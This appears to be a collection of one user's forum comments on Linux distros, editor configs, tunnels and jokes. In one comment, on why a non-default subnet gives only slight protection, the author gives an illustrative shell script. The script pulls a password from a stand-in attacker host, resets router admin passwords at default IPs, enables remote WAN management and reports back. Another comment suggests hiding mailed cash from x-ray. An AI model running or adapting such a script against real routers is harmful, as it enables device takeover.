Note that KDE Linux is completely different from Neon:

• Arch-based
• Immutable
  • /usr is a read-only, atomically updated erofs volume backed by a single file, allowing rollback to any of the last 5 OS images
  • No system package management allowed, only Flatpak, AppImage, distrobox, etc

I love the direction they’re going with it, but I personally won’t be running it because I like to tinker.

Something something about a boat and a helicopter…

Believe me, we’re trying. But we’re tired too, and the people we’re trying to reach are our friends and family, so… it takes time.

+1 for fricking .pcx, gee wizzacles.

Once you configure nano with a ~/.nanorc file, it becomes a lot more like micro/helix without having to install anything on new systems. I just curl my config and I’m good. I have Ctrl+C, Ctrl+V, 2 space tabs, mouse scrolling +selection, syntax highlighting, etc. There’s a lot you can do in there, and that’s not to mention plugins.

Cloudflare tunnels is more than just a reverse proxy, but agreed. That might be the better option regardless. If you’re Cloudflare-averse, you can use Tailscale funnels, or spin up your own rproxy+tunnel solution (there are plenty out there, such as Rathole, Zrok, or frp).

Yeah I know, just making a terrible attempt at humor. 😅

You could print a random letter or graphic(s), preferably on heavier paper, and wrap the cash inside. That should make it a little harder to feel or spot on x-ray.

…and you pay more for other distros?

I’d bet it’s just further self-censoring for fear of being unalived.

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

Well of course it doesn’t, God does.

I mean, postmarketOS supports a pretty decent range, but as far as native Linux phones I’m right with you.

When you buy “chicken” at the store, is it referring to the animal, or the flavor and texture?

EDIT: About the response I was expecting, and I think I agree in this instance. I was just curious to get others’ viewpoints. It might have been better to phrase it as “When you see the word ‘chicken’ on a product…”

I mean, that’s high praise for a vacuum. I would be more concerned if it didn’t.

They’ve actually achieved a higher state of enlightenment by using the superior duodecimal system (a.k.a. base 12).

Gosh dang, I was trying to make that a joke but yours is better than anything I thought of.
